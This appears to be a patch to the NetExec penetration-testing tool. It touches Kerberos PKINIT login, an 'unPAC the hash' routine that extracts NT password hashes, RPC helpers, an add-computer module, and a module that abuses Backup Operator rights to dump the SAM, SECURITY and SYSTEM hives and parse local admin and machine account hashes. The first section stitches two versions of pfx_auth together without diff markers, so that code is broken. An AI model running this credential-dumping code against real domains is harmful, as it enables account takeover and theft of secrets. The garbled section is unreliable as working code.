ci = cms.ContentInfo.load(pkasrep["dhSignedData"]).native
sd = ci["content"]
keyinfo = sd["encap_content_info"]
if keyinfo["content_type"] != "1.3.6.1.5.2.3.2":
raise Exception("Keyinfo content type unexpected value")
authdata = KDCDHKeyInfo.load(keyinfo["content"]).native
pubkey = int("".join(["1"] + [str(x) for x in authdata["subjectPublicKey"]]), 2)
pubkey = int.from_bytes(core.BitString(authdata["subjectPublicKey"]).dump()[7:], "big", signed=False)
shared_key = self.diffie.exchange(pubkey)
server_nonce = pkasrep["serverDHNonce"]
fullKey = shared_key + self.diffie.dh_nonce + server_nonce
etype = as_rep["enc-part"]["etype"]
cipher = _enctype_table[etype]
if etype == Enctype.AES256:
t_key = truncate_key(fullKey, 32)
elif etype == Enctype.AES128:
t_key = truncate_key(fullKey, 16)
elif etype == Enctype.RC4:
raise NotImplementedError("RC4 key truncation documentation missing. it is different from AES")
key = Key(cipher.enctype, t_key)
enc_data = as_rep["enc-part"]["cipher"]
nxc_logger.info("AS-REP encryption key (you might need this later):")
nxc_logger.info(hexlify(t_key).decode("utf-8"))
dec_data = cipher.decrypt(key, 3, enc_data)
encasrep = EncASRepPart.load(dec_data).native
cipher = _enctype_table[int(encasrep["key"]["keytype"])]
session_key = Key(cipher.enctype, encasrep["key"]["keyvalue"])
return encasrep, session_key, cipher, hexlify(t_key).decode("utf-8")
class GETPAC:
def printPac(self, data, key=None):
nthash = None
encTicketPart = decoder.decode(data, asn1Spec=EncTicketPart())[0]
adIfRelevant = decoder.decode(encTicketPart["authorization-data"][0]["ad-data"], asn1Spec=AD_IF_RELEVANT())[
0]
# So here we have the PAC
pacType = PACTYPE(adIfRelevant[0]["ad-data"].asOctets())
buff = pacType["Buffers"]
found = False
for _bufferN in range(pacType["cBuffers"]):
infoBuffer = PAC_INFO_BUFFER(buff)
data = pacType["Buffers"][infoBuffer["Offset"] - 8:][:infoBuffer["cbBufferSize"]]
nxc_logger.debug(f"TYPE 0x{infoBuffer['ulType']}")
if infoBuffer["ulType"] == 2:
found = True
credinfo = PAC_CREDENTIAL_INFO(data)
newCipher = _enctype_table[credinfo["EncryptionType"]]
out = newCipher.decrypt(key, 16, credinfo["SerializedData"])
type1 = TypeSerialization1(out)
# I'm skipping here 4 bytes with its the ReferentID for the pointer
newdata = out[len(type1) + 4:]
pcc = PAC_CREDENTIAL_DATA(newdata)
for cred in pcc["Credentials"]:
credstruct = NTLM_SUPPLEMENTAL_CREDENTIAL(b"".join(cred["Credentials"]))
nxc_logger.info("Recovered NT Hash")
nxc_logger.info(hexlify(credstruct["NtPassword"]).decode("utf-8"))
nthash = hexlify(credstruct["NtPassword"]).decode("utf-8")
buff = buff[len(infoBuffer):]
if not found:
nxc_logger.info("Did not find the PAC_CREDENTIAL_INFO in the PAC. Are you sure your TGT originated from a PKINIT operation?")
return nthash
def __init__(self, username, domain, kdcHost, key, tgt):
self.__username = username
self.__domain = domain.upper()
self.__kdcHost = kdcHost
self.__asrep_key = key
self.__tgt = tgt["KDC_REP"]
self.__cipher = tgt["cipher"]
self.__sessionKey = tgt["sessionKey"]
def dump(self):
# Try all requested protocols until one works.
tgt = self.__tgt
cipher = self.__cipher
sessionKey = self.__sessionKey
decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0]
# Extract the ticket from the TGT
ticket = Ticket()
ticket.from_asn1(decodedTGT["ticket"])
apReq = AP_REQ()
apReq["pvno"] = 5
apReq["msg-type"] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = []
apReq["ap-options"] = constants.encodeFlags(opts)
seq_set(apReq, "ticket", ticket.to_asn1)
authenticator = Authenticator()
authenticator["authenticator-vno"] = 5
authenticator["crealm"] = str(decodedTGT["crealm"])
clientName = Principal()
clientName.from_asn1(decodedTGT, "crealm", "cname")
seq_set(authenticator, "cname", clientName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator["cusec"] = now.microsecond
authenticator["ctime"] = KerberosTime.to_asn1(now)
nxc_logger.debug("AUTHENTICATOR")
nxc_logger.debug(authenticator.prettyPrint() + "\n")
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 7
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
# TGS authenticator subkey), encrypted with the TGS session
# key (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)
apReq["authenticator"] = noValue
apReq["authenticator"]["etype"] = cipher.enctype
apReq["authenticator"]["cipher"] = encryptedEncodedAuthenticator
encodedApReq = encoder.encode(apReq)
tgsReq = TGS_REQ()
tgsReq["pvno"] = 5
tgsReq["msg-type"] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
tgsReq["padata"] = noValue
tgsReq["padata"][0] = noValue
tgsReq["padata"][0]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
tgsReq["padata"][0]["padata-value"] = encodedApReq
reqBody = seq_set(tgsReq, "req-body")
opts = []
opts.append(constants.KDCOptions.forwardable.value)
opts.append(constants.KDCOptions.renewable.value)
opts.append(constants.KDCOptions.canonicalize.value)
opts.append(constants.KDCOptions.enc_tkt_in_skey.value)
reqBody["kdc-options"] = constants.encodeFlags(opts)
serverName = Principal(self.__username, type=constants.PrincipalNameType.NT_UNKNOWN.value)
seq_set(reqBody, "sname", serverName.components_to_asn1)
reqBody["realm"] = str(decodedTGT["crealm"])
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
reqBody["till"] = KerberosTime.to_asn1(now)
reqBody["nonce"] = random.getrandbits(31)
seq_set_iter(reqBody, "etype",
(int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value)))
myTicket = ticket.to_asn1(TicketAsn1())
seq_set_iter(reqBody, "additional-tickets", (myTicket,))
nxc_logger.debug("Final TGS")
nxc_logger.debug(tgsReq.prettyPrint())
message = encoder.encode(tgsReq)
nxc_logger.info("Requesting ticket to self with PAC")
r = sendReceive(message, self.__domain, self.__kdcHost)
tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
nxc_logger.debug("TGS_REP")
nxc_logger.debug(tgs.prettyPrint())
cipherText = tgs["ticket"]["enc-part"]["cipher"]
# Key Usage 2
# AS-REP Ticket and TGS-REP Ticket (includes tgs session key or
# application session key), encrypted with the service key
# (section 5.4.2)
# S4USelf + U2U uses this other key
plainText = cipher.decrypt(sessionKey, 2, cipherText)
specialkey = Key(18, unhexlify(self.__asrep_key))
return self.printPac(plainText, specialkey)
def pfx_auth(self):
"""Handles the authentication using a PFX or PEM file"""
# Static DH params because the ones generated by cryptography are considered unsafe by AD for some weird reason
dhparams = {
"p": int("00ffffffffffffffffc90fdaa22168c234c4c6628b80dc1cd129024e088a67cc74020bbea63b139b22514a08798e3404ddef9519b3cd3a431b302b0a6df25f14374fe1356d6d51c245e485b576625e7ec6f44c42e9a637ed6b0bff5cb6f406b7edee386bfb5a899fa5ae9f24117c4b1fe649286651ece65381ffffffffffffffff", 16),
"g": 2
}
self.logger.info("Loading certificate and key from file")
# Load the certificate and key from file
if self.args.pfx_cert or self.args.pfx_base64:
pfx = self.args.pfx_cert if self.args.pfx_cert else self.args.pfx_base64
ini = myPKINIT.from_pfx(pfx, self.args.pfx_pass, dhparams, bool(self.args.pfx_base64))
elif self.args.pem_cert and self.args.pem_key:
ini = myPKINIT.from_pem(self.args.pem_cert, self.args.pem_key, dhparams)
else:
self.logger.fail("You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file")
return None
username = self.args.username[0]
basename = f"{self.hostname}_{self.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}-{username}.ccache"
log_ccache = os.path.normpath(os.path.expanduser(f"{NXC_PATH}/logs/{basename}"))
# Request a TGT with the cert data
req = ini.build_asreq(self.domain, username)
self.logger.info("Requesting TGT")
def pfx_auth(self, domain, username):
"""Authenticate with a client certificate through PKINIT, then optionally unPAC the NT hash"""
if not self.kdcHost:
self.logger.fail(f"Could not resolve KDC host for domain {domain}. Use --kdcHost to specify the domain controller IP")
self.logger.fail(f"Could not resolve KDC host for domain {self.domain}. Use --kdcHost to specify the domain controller IP")
return False
self.logger.info("Loading certificate and key from file")
sock = KerberosClientSocket(KerberosTarget(self.kdcHost))
try:
credentials = pkinit_credentials(self.args)
except FileNotFoundError as e:
self.logger.fail(f"Certificate or key file not found: {e.filename}")
return False
except (PKINITError, ValueError) as e:
self.logger.fail(f"Failed to load certificate/key: {e}")
res = sock.sendrecv(req)
except Exception as e:
self.logger.fail(str(e))
return False
if credentials is None:
self.logger.fail("You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file")
return False
encasrep, session_key, cipher, key = ini.decrypt_asrep(res.native)
ccache_minikerberos = CCACHE()
ccache_minikerberos.add_tgt(res.native, encasrep)
ccache_minikerberos.to_file(log_ccache)
self.logger.info(f"Saved TGT to file {log_ccache}")
self.logger.info(f"Using Kerberos Cache {log_ccache}")
ccache = impacket_CCache.loadFile(log_ccache)
principal = f"krbtgt/{self.domain.upper()}@{self.domain.upper()}"
creds = ccache.getCredential(principal)
if creds is not None:
tgt = creds.toTGT()
dumper = GETPAC(username, self.domain, self.kdcHost, key, tgt)
nthash = dumper.dump()
if not self.kerberos:
self.hash_login(self.domain, username, nthash)
else:
self.kerberos_login(self.domain, username, "", nthash, "", self.kdcHost, False)
self.logger.info(f"Requesting TGT for {username}@{domain} with the certificate")
client_name = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
try:
tgt, cipher, reply_key, session_key = getKerberosTGTPKINIT(client_name, domain, credentials, kdcHost=self.kdcHost)
except (PKINITError, KerberosError, OSError) as e:
self.logger.fail(f"Failed to get a TGT with the certificate: {e}")
return False
ccache = CCache()
ccache.fromTGT(tgt, reply_key, session_key)
basename = sanitize_path_component(f"{self.hostname}_{self.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}-{username}.ccache")
ccache_path = os.path.normpath(os.path.expanduser(os.path.join(NXC_PATH, "logs", basename)))
ccache.saveFile(ccache_path)
self.logger.info(f"Saved TGT to {ccache_path}")
if self.protocol == "winrm": # nxc winrm has no Kerberos login: log in over NTLM with the unPACed hash, as before
nthash = unpac_the_hash(self, username, tgt, cipher, reply_key, session_key)
return bool(nthash) and self.hash_login(domain, username, nthash)
# Impacket reads the TGT of a Kerberos login from the cache this variable points at, for the whole process
os.environ["KRB5CCNAME"] = ccache_path
self.use_kcache = True
logged_in = self.kerberos_login(domain, username, "", "", "", self.kdcHost, True)
if self.protocol == "smb" and self.args.unpac:
nthash = unpac_the_hash(self, username, tgt, cipher, reply_key, session_key)
if nthash:
self.logger.highlight(f"{domain}\\{username} NT hash: {nthash}")
self.db.add_credential("hash", domain, username, nthash)
return logged_in
def certificate_options(args):
"""Return the LDAPConnection certificate options for the command line material, plus a temporary file the caller must delete."""
if args.pfx_cert:
return {"pfxfile": args.pfx_cert, "pfxpass": args.pfx_pass}, None
if args.pem_cert and args.pem_key:
return {"certfile": args.pem_cert, "keyfile": args.pem_key}, None
if args.pfx_base64:
with open(args.pfx_base64, "rb") as pfx_base64_file:
pfxdata = base64.b64decode(pfx_base64_file.read())
# impacket loads the bundle from a path, so the decoded PFX has to hit the disk
handle, pfx_path = tempfile.mkstemp(suffix=".pfx", dir=TMP_PATH)
with os.fdopen(handle, "wb") as pfx_file:
pfx_file.write(pfxdata)
return {"pfxfile": pfx_path, "pfxpass": args.pfx_pass}, pfx_path
raise ValueError("You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file")
self.logger.info("Successfully authenticated using Certificate")
return True
-132
View File
@@ -1,132 +0,0 @@
import contextlib
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
class NXCRPCConnection:
"""
DCE/RPC over SMB/TCP using the NXC connection's creds; reuse SMB when already
logged in so Kerberos delegation (e.g. S4U2Proxy ST) applies to pipe RPC too.
"""
def __init__(self, connection, force_tcp=False):
self.connection = connection
self.force_tcp = force_tcp
self.dce = None
self.rpc_transport = None
def connect(self, named_pipe, interface_uuid, target_ip=None, auth_level=None, string_binding=None, set_remote_host=None, anonymous_rpc=False):
if string_binding is not None:
self.rpc_transport = self.create_from_string_binding(string_binding, target_ip, set_remote_host, anonymous_rpc)
elif self.force_tcp:
self.rpc_transport = self.create_tcp_transport(target_ip, anonymous_rpc)
else:
self.rpc_transport = self.create_smb_transport(named_pipe, target_ip)
self.dce = self.rpc_transport.get_dce_rpc()
if self.connection.kerberos and not anonymous_rpc:
self.dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
self.dce.connect()
if auth_level is not None:
self.dce.set_auth_level(auth_level)
self.dce.bind(interface_uuid)
return self.dce
def disconnect(self):
if self.dce:
with contextlib.suppress(Exception):
self.dce.disconnect()
self.dce = None
@property
def transport(self):
return self.rpc_transport
def get_smb_connection(self):
if self.rpc_transport and hasattr(self.rpc_transport, "get_smb_connection"):
return self.rpc_transport.get_smb_connection()
return None
def __enter__(self):
return self
def __exit__(self, exc_type, exc_val, exc_tb):
self.disconnect()
return False
def setup_credentials(self, rpc_transport, anonymous_rpc=False):
conn = self.connection
if anonymous_rpc:
rpc_transport.set_credentials("", "", "", "", "", "")
rpc_transport.set_kerberos(False, None)
else:
rpc_transport.set_credentials(conn.username, conn.password if conn.password else "", conn.domain, conn.lmhash, conn.nthash, conn.aesKey)
if conn.kerberos:
rpc_transport.set_kerberos(conn.kerberos, conn.kdcHost)
def create_smb_transport(self, named_pipe, target_ip=None):
conn = self.connection
# Create a new SMB conn if we don't have one already or
# if we are targetting a different IP (e.g. the DC instead of the original host) and therefore need to recreate the conn
if conn.conn is not None and (target_ip is None or conn.host == target_ip):
return transport.SMBTransport(conn.conn.getRemoteHost(), filename=named_pipe, smb_connection=conn.conn)
rpc_transport = transport.SMBTransport(conn.remoteName, conn.port, named_pipe, conn.username, conn.password if conn.password else "", conn.domain, conn.lmhash, conn.nthash, conn.aesKey, doKerberos=conn.kerberos, kdcHost=conn.kdcHost)
if target_ip or conn.host:
rpc_transport.setRemoteHost(target_ip or conn.host)
return rpc_transport
def create_tcp_transport(self, target_ip=None, anonymous_rpc=False):
conn = self.connection
target = target_ip or conn.remoteName
rpc_transport = transport.DCERPCTransportFactory(rf"ncacn_ip_tcp:{target}")
rpc_transport.setRemoteHost(target)
self.setup_credentials(rpc_transport, anonymous_rpc)
return rpc_transport
def create_from_string_binding(self, string_binding, target_ip=None, set_remote_host=None, anonymous_rpc=False):
rpc_transport = transport.DCERPCTransportFactory(string_binding)
if target_ip is not None:
rpc_transport.setRemoteHost(target_ip)
elif set_remote_host is not None:
rpc_transport.setRemoteHost(set_remote_host)
self.setup_credentials(rpc_transport, anonymous_rpc)
return rpc_transport
def dcom_FirewallChecker(iInterface, remoteHost, timeout, logger):
stringBindings = iInterface.get_cinstance().get_string_bindings()
for strBinding in stringBindings:
if strBinding["wTowerId"] == 7:
if strBinding["aNetworkAddr"].find("[") >= 0:
binding, _, bindingPort = strBinding["aNetworkAddr"].partition("[")
bindingPort = "[" + bindingPort
else:
binding = strBinding["aNetworkAddr"]
bindingPort = ""
if binding.upper().find(iInterface.get_target().upper()) >= 0:
stringBinding = "ncacn_ip_tcp:" + strBinding["aNetworkAddr"][:-1]
break
elif iInterface.is_fqdn() and binding.upper().find(iInterface.get_target().upper().partition(".")[0]) >= 0:
stringBinding = f"ncacn_ip_tcp:{iInterface.get_target()}{bindingPort}"
if "stringBinding" not in locals():
return True, None
try:
rpctransport = transport.DCERPCTransportFactory(stringBinding)
rpctransport.setRemoteHost(remoteHost)
rpctransport.set_connect_timeout(timeout)
rpctransport.connect()
rpctransport.disconnect()
except Exception as e:
logger.debug(f"Exception while connecting to {stringBinding}: {e}")
return False, stringBinding
else:
return True, stringBinding
-21
View File
@@ -1,21 +0,0 @@
from impacket.smbconnection import SMBConnection
def get_smb_connection(context, connection, timeout=3):
"""SMB session reusing the credentials of the current connection, or None when it cannot be established.
A certificate-only bind (--schannel) leaves no secret behind, and logging in without
one would count as a bad password attempt on the target, so no session is attempted.
"""
if not connection.has_reusable_secret:
context.log.fail("Cannot open an SMB session: a certificate-only bind (--schannel) provides no password, hash or Kerberos ticket")
return None
smb = SMBConnection(remoteName=connection.remoteName, remoteHost=connection.host, sess_port=445, timeout=timeout)
if connection.kerberos:
smb.kerberosLogin(user=connection.username, password=connection.password, domain=connection.domain, lmhash=connection.lmhash, nthash=connection.nthash, aesKey=connection.aesKey, kdcHost=connection.kdcHost, useCache=connection.use_kcache)
elif connection.nthash or connection.lmhash:
smb.login(connection.username, "", connection.domain, lmhash=connection.lmhash, nthash=connection.nthash)
else:
smb.login(connection.username, connection.password, connection.domain)
return smb
+16 -62
View File
@@ -1,13 +1,11 @@
import ast
import nxc
import importlib
import traceback
import sys
from os import listdir
from os.path import basename, dirname
from os.path import dirname
from os.path import join as path_join
from types import SimpleNamespace
from nxc.context import Context
from nxc.helpers.misc import CATEGORY
@@ -15,10 +13,6 @@ from nxc.logger import NXCAdapter
from nxc.paths import NXC_PATH
class ModuleOptionsError(Exception):
"""Raised when a module aborts the run from options() (returned False)."""
class ModuleLoader:
def __init__(self, args, db, logger):
self.args = args
@@ -46,46 +40,27 @@ class ModuleLoader:
elif not hasattr(module, "options"):
self.logger.fail(f"{module_path} missing the options function")
module_error = True
elif not hasattr(module, "on_login") and not hasattr(module, "on_admin_login"):
elif not hasattr(module, "on_login") and not (module, "on_admin_login"):
self.logger.fail(f"{module_path} missing the on_login/on_admin_login function(s)")
module_error = True
return not module_error
module_cache = {}
@classmethod
def load_module_file(cls, module_path):
"""Load a module file and return the raw module object with isolated namespace.
Each module gets a unique name to avoid sys.modules collisions that
caused NXCModule class references to be overwritten when loading
multiple modules. Results are cached so each file is only parsed
and executed once regardless of how many targets are scanned.
"""
if module_path not in cls.module_cache:
module_name = f"nxc_module_{basename(module_path)[:-3]}"
spec = importlib.util.spec_from_file_location(module_name, module_path)
module = importlib.util.module_from_spec(spec)
# Register before executing. Modules that define their own impacket
# NDRCALL requests rely on impacket resolving the matching Response
# class via sys.modules[request.__module__] (rpcrt.py), which the
# previous load_module() satisfied implicitly.
sys.modules[module_name] = module
spec.loader.exec_module(module)
cls.module_cache[module_path] = module
return cls.module_cache[module_path]
def load_module(self, module_path):
"""Load and initialize a module, list_modules() already checked that it has the proper attributes"""
"""Load a module, initializing it and checking that it has the proper attributes"""
try:
return self.load_module_file(module_path).NXCModule()
spec = importlib.util.spec_from_file_location("NXCModule", module_path)
module = spec.loader.load_module().NXCModule()
if self.module_is_sane(module, module_path):
return module
except Exception as e:
self.logger.fail(f"Failed loading module at {module_path}: {e}")
self.logger.debug(traceback.format_exc())
def init_module(self, module_path):
"""Initialize a module for execution"""
module = None
module = self.load_module(module_path)
if module:
@@ -103,8 +78,7 @@ class ModuleLoader:
key, value = option.split("=", 1)
module_options[str(key).upper()] = value
if module.options(context, module_options) is False:
raise ModuleOptionsError(f"Module {module.name} aborted the run from options()")
module.options(context, module_options)
return module
else:
self.logger.fail(f"Module {module.name.upper()} is not supported for protocol {self.args.protocol}")
@@ -113,7 +87,8 @@ class ModuleLoader:
def get_module_info(self, module_path):
"""Get the path, description, and options from a module"""
try:
module_spec = self.load_module_file(module_path).NXCModule
spec = importlib.util.spec_from_file_location("NXCModule", module_path)
module_spec = spec.loader.load_module().NXCModule
module = {
f"{module_spec.name}": {
@@ -131,28 +106,8 @@ class ModuleLoader:
self.logger.fail(f"Failed loading module at {module_path}: {e}")
self.logger.debug(traceback.format_exc())
def get_module_info_static(self, module_path):
"""Read the listing info of a module from its source without running it, falling back to get_module_info() if it is not plain literals"""
try:
with open(module_path, "rb") as f:
module_class = [node for node in ast.parse(f.read()).body if isinstance(node, ast.ClassDef) and node.name == "NXCModule"][-1]
# ast can't see what a base class or a decorator adds, so these modules are imported
if not module_class.bases and not module_class.decorator_list:
values = {target.id: node.value for node in module_class.body if isinstance(node, ast.Assign) for target in node.targets if isinstance(target, ast.Name)}
module = SimpleNamespace(
**{node.name: node for node in module_class.body if isinstance(node, ast.FunctionDef | ast.AsyncFunctionDef)},
**{key: ast.literal_eval(values[key]) for key in ("name", "description", "supported_protocols")},
category=CATEGORY[values["category"].attr],
)
# No "options" key on purpose: only -M --options reads it, and -M goes through get_module_info()
return {module.name: {"path": module_path, "description": module.description, "supported_protocols": module.supported_protocols, "category": module.category, "requires_admin": hasattr(module, "on_admin_login")}} if self.module_is_sane(module, module_path) else {}
except Exception as e:
self.logger.debug(f"Could not read {module_path} statically: {e}")
return self.get_module_info(module_path)
def list_modules(self, names=None):
"""List modules without initializing them, only the ones in names if given"""
def list_modules(self):
"""List modules without initializing them"""
modules = {}
modules_paths = [
path_join(dirname(nxc.__file__), "modules"),
@@ -161,11 +116,10 @@ class ModuleLoader:
for path in modules_paths:
for module in listdir(path):
if module[-3:] == ".py" and module != "example_module.py" and (names is None or module[:-3] in names):
if module[-3:] == ".py" and module != "example_module.py":
try:
module_path = path_join(path, module)
# -L reads the shipped modules statically, user modules are still imported so a broken one is reported
module_data = self.get_module_info_static(module_path) if names is None and path == modules_paths[0] else self.get_module_info(module_path)
module_data = self.get_module_info(module_path)
modules.update(module_data)
except Exception as e:
self.logger.debug(f"Error loading module {module}: {e}")
+1 -2
View File
@@ -181,8 +181,7 @@ class NXCAdapter(logging.LoggerAdapter):
if not os.path.isfile(output_file):
try:
with open(output_file, "x"):
pass
open(output_file, "x") # noqa: SIM115
except FileNotFoundError:
print(f"{colored('[-]', 'red', attrs=['bold'])} Log file path does not exist: {os.path.dirname(output_file)}")
exit(1)
+11 -7
View File
@@ -1,9 +1,8 @@
import sys
from impacket.dcerpc.v5 import samr
from impacket.dcerpc.v5 import samr, transport
from impacket.ldap.ldap import LDAPSessionError, MODIFY_REPLACE
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
class NXCModule:
@@ -17,14 +16,14 @@ class NXCModule:
"""
name = "add-computer"
description = "Adds or deletes a domain computer via SAMR (SMB) or LDAP"
description = "Adds or deletes a domain computer via SAMR (SMB) or LDAPS"
supported_protocols = ["smb", "ldap"]
category = CATEGORY.PRIVILEGE_ESCALATION
def options(self, context, module_options):
"""
add-computer: Adds, deletes, or changes the password of a domain computer account.
Uses SAMR when invoked with nxc smb.
Uses SAMR when invoked with nxc smb, LDAPS when invoked with nxc ldap.
NAME Computer name (required). Trailing '$' is added automatically.
PASSWORD Computer password (required for add/changepw).
@@ -81,14 +80,19 @@ class NXCModule:
self.context.db.add_credential("plaintext", self.connection.domain, self.computer_name, self.computer_password)
def _do_samr(self):
conn = self.connection
rpc_transport = transport.SMBTransport(conn.conn.getRemoteHost(), 445, r"\samr", smb_connection=conn.conn)
try:
dce = NXCRPCConnection(self.connection).connect(r"\samr", samr.MSRPC_UUID_SAMR)
dce = rpc_transport.get_dce_rpc()
dce.connect()
dce.bind(samr.MSRPC_UUID_SAMR)
except Exception as e:
self.context.log.fail(f"Failed to connect to SAMR: {e}")
return
try:
self._samr_execute(dce, self.connection.conn.getRemoteName())
self._samr_execute(dce, conn.conn.getRemoteName())
finally:
dce.disconnect()
@@ -187,7 +191,7 @@ class NXCModule:
request["Name"] = self.computer_name
request["AccountType"] = samr.USER_WORKSTATION_TRUST_ACCOUNT
request["DesiredAccess"] = samr.USER_FORCE_PASSWORD_CHANGE
return dce.request(request)["UserHandle"]
return dce.request(request)
except samr.DCERPCSessionError as e:
if "STATUS_USER_EXISTS" in str(e):
self.context.log.fail(f"Computer '{self.computer_name}' already exists")
+51 -215
View File
@@ -1,12 +1,11 @@
import contextlib
import re
from binascii import unhexlify
from time import sleep
from impacket.examples.secretsdump import SAMHashes, LSASecrets, LocalOperations
from impacket.smbconnection import SessionError
from impacket.dcerpc.v5 import rrp
from impacket.dcerpc.v5 import transport, rrp
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
from nxc.helpers.misc import CATEGORY, gen_random_string
from nxc.helpers.rpc import NXCRPCConnection
class NXCModule:
@@ -18,67 +17,13 @@ class NXCModule:
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
self.local_admin = None
self.local_admin_hash = None
self.machine_account = None
self.machine_account_hash = None
self.cleanup_user = None
self.cleanup_hash = None
self.system_hive_saved = False
self.domain_admin = None
self.domain_admin_hash = None
self.deleted_files = True # flag to check if SAM/SYSTEM/SECURITY files were deleted
def options(self, context, module_options):
"""NO OPTIONS"""
def get_boot_key(self, context, dce):
"""
Reads the boot key LIVE from the four Lsa subkeys' class-name field over RPC,
using the already-connected `dce` this module sets up for the SAM/SECURITY
hive saves. If this succeeds, no SYSTEM hive is ever saved to SYSVOL or
downloaded at all.
Hand-ported from impacket's RemoteOperations.getBootKey() rather than calling
RemoteOperations directly, because RemoteOperations.enableRegistry() starts the
RemoteRegistry service via the Service Control Manager -- which needs admin-level
rights a plain Backup Operator doesn't have. This module already gets
RemoteRegistry running via trigger_winreg()'s named-pipe trick instead, which
works within Backup Operator's actual privileges (SeBackupPrivilege), so we reuse
that connection here.
Raises on any failure (access denied, path not allowed remotely, RPC error, etc.)
so the caller can fall back to the full SYSTEM hive save/download path.
"""
boot_key = b""
ans = rrp.hOpenLocalMachine(dce)
reg_handle = ans["phKey"]
for key in ["JD", "Skew1", "GBG", "Data"]:
context.log.debug(f"Retrieving class info for Lsa\\{key}")
ans = rrp.hBaseRegOpenKey(
dce,
reg_handle,
f"SYSTEM\\CurrentControlSet\\Control\\Lsa\\{key}",
dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK,
samDesired=rrp.KEY_READ,
)
key_handle = ans["phkResult"]
ans = rrp.hBaseRegQueryInfoKey(dce, key_handle)
class_out = ans["lpClassOut"]
if isinstance(class_out, str):
class_out = class_out.encode()
boot_key += class_out[:-1]
rrp.hBaseRegCloseKey(dce, key_handle)
rrp.hBaseRegCloseKey(dce, reg_handle)
transforms = [8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7]
boot_key = unhexlify(boot_key)
final_boot_key = b""
for i in range(len(boot_key)):
final_boot_key += boot_key[transforms[i]:transforms[i] + 1]
return final_boot_key
def on_login(self, context, connection):
connection.args.share = "SYSVOL"
rand_suffix = gen_random_string(8)
@@ -86,13 +31,19 @@ class NXCModule:
# enable remote registry
context.log.display("Triggering RemoteRegistry to start through named pipe...")
connection.trigger_winreg()
dce = NXCRPCConnection(connection).connect(r"\winreg", rrp.MSRPC_UUID_RRP)
rpc = transport.DCERPCTransportFactory(r"ncacn_np:445[\pipe\winreg]")
rpc.set_smb_connection(connection.conn)
if connection.kerberos:
rpc.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)
dce = rpc.get_dce_rpc()
if connection.kerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
boot_key = None
try:
# Large hives can take minutes to save before the RPC call returns.
connection.conn.setTimeout(max(connection.args.smb_timeout, 60))
for hive in ["HKLM\\SAM", "HKLM\\SECURITY"]:
dce.connect()
dce.bind(rrp.MSRPC_UUID_RRP)
for hive in ["HKLM\\SAM", "HKLM\\SYSTEM", "HKLM\\SECURITY"]:
hRootKey, subKey = self._strip_root_key(dce, hive)
outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}_{rand_suffix}"
context.log.debug(f"Dumping {hive}, be patient it can take a while for large hives (e.g. HKLM\\SYSTEM)")
@@ -103,187 +54,72 @@ class NXCModule:
except Exception as e:
context.log.fail(f"Couldn't save {hive}: {e} on path {outputFileName}")
return
try:
context.log.display("Attempting to retrieve boot key live from the remote registry...")
boot_key = self.get_boot_key(context, dce)
context.log.highlight("Boot key retrieved live -- skipping SYSTEM hive save/download.")
except Exception as e:
context.log.fail(f"Live boot key retrieval failed ({type(e).__name__}: {e}), falling back to full SYSTEM hive download...")
boot_key = None
if boot_key is None:
hRootKey, subKey = self._strip_root_key(dce, "HKLM\\SYSTEM")
outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}_{rand_suffix}"
context.log.debug("Dumping HKLM\\SYSTEM, be patient it can take a while for large hives (e.g. HKLM\\SYSTEM)")
try:
ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK, samDesired=rrp.KEY_READ)
rrp.hBaseRegSaveKey(dce, ans2["phkResult"], outputFileName)
context.log.highlight(f"Saved HKLM\\SYSTEM to {outputFileName}")
self.system_hive_saved = True
except Exception as e:
context.log.fail(f"Couldn't save HKLM\\SYSTEM: {e} on path {outputFileName}")
return
except (Exception, KeyboardInterrupt) as e:
context.log.fail(f"Unexpected error: {e}")
return
finally:
connection.conn.setTimeout(connection.args.smb_timeout)
with contextlib.suppress(Exception):
dce.disconnect()
# copy remote file to local
log_path = f"{connection.output_filename}."
connection.conn.setTimeout(max(connection.args.smb_timeout, 60))
hives_to_download = ["SAM", "SECURITY"]
if self.system_hive_saved:
hives_to_download.append("SYSTEM")
for hive in hives_to_download:
for hive in ["SAM", "SECURITY", "SYSTEM"]:
connection.get_file_single(f"{hive}_{rand_suffix}", log_path + hive)
connection.conn.setTimeout(connection.args.smb_timeout)
# read local file
try:
def parse_sam(secret):
context.log.highlight(secret)
if not self.local_admin:
if not self.domain_admin:
first_line = secret.strip().splitlines()[0]
fields = first_line.split(":")
if len(fields) >= 4:
self.local_admin = fields[0]
self.local_admin_hash = fields[3]
self.domain_admin = fields[0]
self.domain_admin_hash = fields[3]
def parse_lsa(secret_type, secret):
context.log.highlight(secret)
if self.machine_account:
return
for line in secret.splitlines():
